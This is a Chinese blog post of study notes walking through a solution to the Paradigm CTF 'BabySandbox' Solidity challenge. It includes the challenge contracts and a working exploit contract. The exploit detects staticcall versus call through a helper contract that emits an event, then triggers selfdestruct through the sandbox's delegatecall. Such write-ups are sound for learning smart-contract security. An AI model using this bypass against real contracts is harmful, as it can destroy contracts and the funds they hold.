区块链学习笔记之paradigm-CTF babysandbox

这个是去安全客翻zbr文章的时候看见的题,因为刚玩,还是想着多搞点题找点感觉

合约代码

BabySandbox.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity 0.7.0;

contract BabySandbox {
function run(address code) external payable {
assembly {
// if we're calling ourselves, perform the privileged delegatecall
if eq(caller(), address()) {
switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}

// ensure enough gas
if lt(gas(), 0xf000) {
revert(0x00, 0x00)
}

// load calldata
calldatacopy(0x00, 0x00, calldatasize())

// run using staticcall
// if this fails, then the code is malicious because it tried to change state
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
revert(0x00, 0x00)
}

// if we got here, the code wasn't malicious
// run without staticcall since it's safe
switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
// revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
}
}

Setup.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity 0.7.0;

import "./BabySandbox.sol";

contract Setup {
BabySandbox public sandbox;

constructor() {
sandbox = new BabySandbox();
}

function isSolved() public view returns (bool) {
uint size;
assembly {
size := extcodesize(sload(sandbox.slot))
}
return size == 0;
}
}

解题目标大概就是让sandbox这个合约的字节码size为0,就是让这个合约自毁叭。

那么看到这个BabySandbox里,应该是要用到里头的delegatecall,让它调用一下selfdestruct就可以了

但是首先,想要进这个delegatecall,需要满足条件eq(caller(), address()),

于是看到下面有一个

1
2
3
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
revert(0x00, 0x00)
}

他会合约自己进行一个staticcall【address() 就是 this.address】

类似于把你的calldata【此时你的calldata应该是 函数选择器为 run,参数为code 的 字节码】放进一个沙箱去执行,看你这个calldata有没有改变状态,有就revert了。要是没有,往下走,这儿就有一个

1
call(0x4000, address(), 0, 0, calldatasize(), 0, 0)

这个区别于staticcall他就是可以改变状态了。

image-20220211164100913

所以我们就是要把selfdestruct塞到这个里面去。

但是显然selfdestruct是会改变合约状态的,这样在前面就被revert了。怎么绕呢?

我们想让BabySandbox执行我们合约的时候,staticcall能过,call又能调用到selfdestruct,所以我们的合约是需要能够检查到是被staticcall调用了,还是被call调用了这样一个功能。

在这篇wp提到,

image-20220211164301418

既然不会整个revert,我们可以再部署一个被call时会改变状态(自毁啊,事件啥的)的合约,为了区别一下,这个合约就叫状态会改变合约,然后我们要传给BabySandbox的为瞒天过海合约

我们的瞒天过海合约被call时,就call一下状态会改变合约,看一下返回值,如果返回0,说明状态修改失败,此时是staticcall,我们瞒天过海合约啥也不做,此时对于调用瞒天过海合约的staticcall来说,我们的瞒天过海合约正常执行了,虽然没返回什么东西,但也没报错啊【老实人.jpg】,于是返回一个1,就过了iszero了。

然后BabySandbox就走到call了,当call我们的瞒天过海合约的时候,瞒天过海合约又call一下状态会改变合约,这个时候状态应该修改成功,我们的瞒天过海合约收到一个1,然后瞒天过海合约就给BabySandbox调用一个selfdestruct。

参考https://medium.com/furucombo/sharing-some-paradigm-ctf-solutions-befac01800e3

具体步骤就是先部署一个状态会改变合约(被call的时候会触发一个事件)

1
2
3
4
5
6
7
8
9
pragma solidity 0.7.0;

contract Foo {
event StateChanged(bool);

fallback() external {
emit StateChanged(true);
}
}

这个合约部署好了之后,拿到他的地址(我这里是0xcD6a42782d230D7c13A74ddec5dD140e55499Df9),硬编码到我们的瞒天过海合约里头

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity 0.7.0;

contract Suicide {
fallback() external {
if(_isStaticCall()) {
selfdestruct(address(0));
}
}
function _isStaticCall() internal returns (bool) {
(bool success, ) = address(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).call("0x");
return success;
}
}

然后把我们的瞒天过海合约部署的地址传给BabySandbox就好了。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:区块链学习笔记之paradigm-CTF babysandbox

文章字数:981

本文作者:Van1sh

发布时间:2022-02-11, 16:22:00

最后更新:2022-02-11, 17:07:40

原始链接:http://jayxv.github.io/2022/02/11/区块链学习笔记之paradigm-CTF babysandbox/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏